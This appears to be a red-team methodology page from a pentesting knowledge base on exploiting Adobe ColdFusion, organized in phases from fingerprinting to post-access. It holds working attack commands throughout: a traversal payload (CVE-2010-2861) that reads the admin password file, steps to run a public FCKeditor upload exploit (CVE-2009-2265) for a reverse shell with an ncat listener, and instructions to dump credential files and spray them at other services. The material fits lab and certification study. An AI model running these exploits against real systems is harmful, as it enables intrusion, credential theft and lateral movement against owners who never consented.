Skip to Content
Red Teaming03-ExploitationCommon ApplicationsCloudFusion

Adobe ColdFusion

ColdFusion is Adobe’s Java-based web platform. Apps are written in CFML (.cfm / .cfc pages) and often expose the CFIDE administrative tree. On engagements you mainly care about: version fingerprint → admin / default paths → known unauth file-read or upload bugs → shell.

Cheatsheet

# Find ColdFusion ports / banners nmap -sV -p80,443,8500,5500 --script=http-title,http-headers <IP> http://<IP>:8500/ http://<IP>:8500/CFIDE/administrator/ ffuf -u http://<IP>:8500/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .cfm,.cfc -mc 200,301,302,401,403 # Known admin / install paths http://<IP>:8500/CFIDE/administrator/index.cfm http://<IP>:8500/CFIDE/administrator/enter.cfm # CVE-2010-2861 locale path traversal (CF ≤ 9.0.1 class) # Read password.properties (adjust cf_root depth for the install) python2 /usr/share/exploitdb/exploits/multiple/remote/14641.py <IP> 8500 "../../../../../../../../ColdFusion8/lib/password.properties" curl -sk 'http://<IP>:8500/CFIDE/administrator/settings/mappings.cfm?locale=../../../../../../ColdFusion8/lib/password.properties%00en' # CVE-2009-2265 FCKeditor unauth upload → RCE (CF 8.0.1 and earlier) searchsploit -p 50057 cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py . # Edit lhost/lport/rhost/rport inside the script, then: python3 50057.py # Listener for the reverse shell rlwrap ncat -lvnp <LPORT> # Version / exploit lookup once fingerprint is solid searchsploit adobe coldfusion searchsploit coldfusion 8

Methodology

Phase 1: Fingerprint and Map CFIDE

?

Ask yourself

  • Which ports answer HTTP, and is 8500 (classic CF HTTP) or a fronted 80/443 the real entry?
  • Do I see CFIDE, cfdocs, .cfm/.cfc, or Server/X-Powered-By hints for ColdFusion?
  • What exact version does /CFIDE/administrator advertise (login title, copyright, install docs)?
  • Is directory listing enabled under / or /CFIDE/ what else is exposed without auth?
  • Which attack class does the version imply: old unauth LFI/upload, or newer auth-adjacent bugs?
nmap -sV -p- --open <IP> #visit http://<IP>:8500/CFIDE/ http://<IP>:8500/CFIDE/administrator/ ffuf -u http://<IP>:8500/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .cfm,.cfc -mc 200,301,302,401,403
  • Port-scan and note 80/443/8500/5500 (monitor) and any Java/RPC sidecars.
  • Confirm ColdFusion via CFIDE/cfdocs, .cfm/.cfc, headers, or admin login chrome.
  • Record the exact version string from the Administrator page or error/debug output.
  • Map reachable CFIDE subtrees without credentials; note listing, install.cfm, adminapi, wizards.
  • Run searchsploit adobe coldfusion and keep only exploits whose version prerequisites match.

Phase 2: Unauthenticated File Read (Locale Traversal)

?

Ask yourself

  • Is this build in the CVE-2010-2861 class (ColdFusion 9.0.1 and earlier / CF8 labs)?
  • Which locale-accepting admin endpoints are reachable without a session?
  • What is the on-disk cf_root so my ../ chain lands on lib/password.properties?
  • Did the response return properties content (password=, rdspassword=, encrypted=true) or just an error page?
  • If I recover a hash, can I crack it and should I spray it elsewhere before burning RCE?
# Copy and inspect the public PoC searchsploit -p 14641 cp /usr/share/exploitdb/exploits/multiple/remote/14641.py . python2 14641.py # prints usage # High-value target file on CF8 Windows installs python2 14641.py <IP> 8500 "../../../../../../../../ColdFusion8/lib/password.properties" # Other locale-affected endpoints to try if one path is blocked # /CFIDE/administrator/settings/mappings.cfm # /CFIDE/administrator/logging/settings.cfm # /CFIDE/administrator/datasources/index.cfm # /CFIDE/wizards/common/_logintowizard.cfm
  • Confirm version is in scope for locale traversal before running exploit scripts.
  • Pull password.properties (or Linux equivalent under the CF install lib/).
  • Parse password= / rdspassword= / encrypted= lines; save the file for the report.
  • Attempt to crack the admin hash (often SHA1-style hex on older CF); try recovered cleartext against /CFIDE/administrator.
  • If file read works but admin login fails, keep the read primitive for configs, datasources, and mail creds — then continue to Phase 3 for shell.

OPSEC: automated traversal scripts hit multiple admin CFM endpoints. On monitored hosts, prefer a single manual locale= proof against one path first.

Phase 3: Unauthenticated Upload → RCE

?

Ask yourself

  • Is FCKeditor’s ColdFusion connector still exposed under /CFIDE/scripts/ajax/FCKeditor/.../upload.cfm?
  • Does an unauth FileUpload accept a .jsp (or double-ext) into a web-reachable folder?
  • Do I have a working listener and correct <LHOST>/<LPORT> reachable from the target?
  • What user does the CF/Java process run as, and what can I reach after the shell lands?
  • Should I take the quieter file-read → admin path instead of dropping a shell immediately?
# Confirm upload connector presence curl -sk -o /dev/null -w '%{http_code}\n' 'http://<IP>:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm' # CVE-2009-2265 helper (edit lhost/lport/rhost/rport in the script) searchsploit -p 50057 cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py . # Set: lhost=<LHOST> lport=<LPORT> rhost=<IP> rport=8500 python3 50057.py # Catch the callback rlwrap ncat -lvnp <LPORT>
  • Verify the FCKeditor upload endpoint returns a workable response (not 404/removed).
  • Start a listener, set <LHOST>/<LPORT>/rhost/rport in the exploit, execute once.
  • On shell: identify user, hostname, and CF install path; harvest further configs under ColdFusion*/lib/.
  • If upload fails, fall back to cracked admin credentials, other version-matched exploits from searchsploit, or authenticated admin features (scheduled tasks, packaging).
  • Record payload name, upload path, and callback evidence for the report.

Phase 4: Post-Access Harvest

?

Ask yourself

  • What datasources, mail, and LDAP secrets sit next to password.properties?
  • Does this host store other app creds that spray into SMB/WinRM/SQL?
  • Is ColdFusion the only foothold path, or is there a cleaner persistence/admin route now?
# On Windows shell — common CF8 layout dir C:\ColdFusion8\lib type C:\ColdFusion8\lib\password.properties dir C:\ColdFusion8\lib\neo-*.xml
  • Dump password.properties, datasource configs, and mail settings.
  • Spray recovered credentials against local and domain services in scope.
  • Continue into Windows post-exploitation / priv-esc from the CF service account context.

Reference

Identification Signals

SignalMeaning
Ports 8500, sometimes 5500Classic CF HTTP / Server Monitor defaults (often changed)
Paths /CFIDE/, /cfdocs/Strong ColdFusion indicator
Extensions .cfm, .cfcCFML application pages / components
/CFIDE/administrator/Admin UI — version often visible on login
Headers / errors mentioning ColdFusionCorroborate when paths are locked down

Default / High-Value Paths

PathWhy it matters
/CFIDE/administrator/index.cfmAdmin login / version chrome
/CFIDE/administrator/enter.cfmAuth entry; also locale-traversal class
/CFIDE/administrator/settings/mappings.cfmLocale traversal target
/CFIDE/wizards/common/_logintowizard.cfmLocale traversal target
/CFIDE/scripts/ajax/FCKeditor/.../upload.cfmCVE-2009-2265 upload

High-Value Local Files

FileUse
[cf_root]/lib/password.propertiesAdmin / RDS password hashes
[cf_root]/lib/neo-*.xmlDatasources, mail, LDAP, and related secrets

password.properties holds encrypted/hashed credentials ColdFusion uses for admin and integrated services. Recovering it is both a direct win (crack → admin) and a reporting finding even if cracking fails.

Version-Oriented Attack Map

ConditionPrimary path
ColdFusion 8 / ≤ 8.0.1FCKeditor upload RCE (CVE-2009-2265, EDB-50057); locale traversal
ColdFusion ≤ 9.0.1Locale parameter directory traversal (CVE-2010-2861, EDB-14641)
Newer (11 / 2016 / 2018 / 2021+)Do not assume the CF8/9 unauth bugs; fingerprint precisely and match advisories (searchsploit, APSB notes). Auth bypass, deserialization, and upload bugs are version-specific.

Source material centered on ColdFusion 8 lab behavior (8500, CFIDE listing, CVE-2010-2861, CVE-2009-2265). Newer Adobe advisories exist (file read, command injection, deserialization, upload restrictions). Always match CVE/EDB prerequisites to the fingerprint — last verified: 2026-08.

CVE-2010-2861 (Locale Traversal)

Affected administrator CFM endpoints accepted a locale parameter that could be pointed at arbitrary files via ../ sequences. Public PoCs walk several endpoints and print file contents when successful. On Windows CF8, a common proof file is:

../../../../../../../../ColdFusion8/lib/password.properties

Traversal depth and drive layout vary — adjust the chain if the first attempt returns HTML errors instead of properties text.

CVE-2009-2265 (FCKeditor Upload → RCE)

Unauthenticated upload through the bundled FCKeditor ColdFusion connector allowed dropping a web-executable payload (commonly .jsp) under a userfiles-style path, then requesting it for code execution. EDB-50057 automates payload generation, upload, trigger, and reverse-shell handling — set <LHOST>, <LPORT>, target host, and port before launch. Expect a delay before the callback.

Ports (Defaults)

PortRole
80 / 443Front-door HTTP(S) when CF is behind IIS/Apache/connector
8500Built-in CF HTTP (very common in older labs)
5500Server Monitor (if enabled)
25 / 1935Mail / legacy RPC — secondary, not primary web enum

#Penetration-Testing #Red-Team #Certification #Windows #Linux #ColdFusion #Adobe #CFIDE #RCE #FileRead #WebAttacks #HTB #Exploitation #FCKeditor #CVE

Last updated on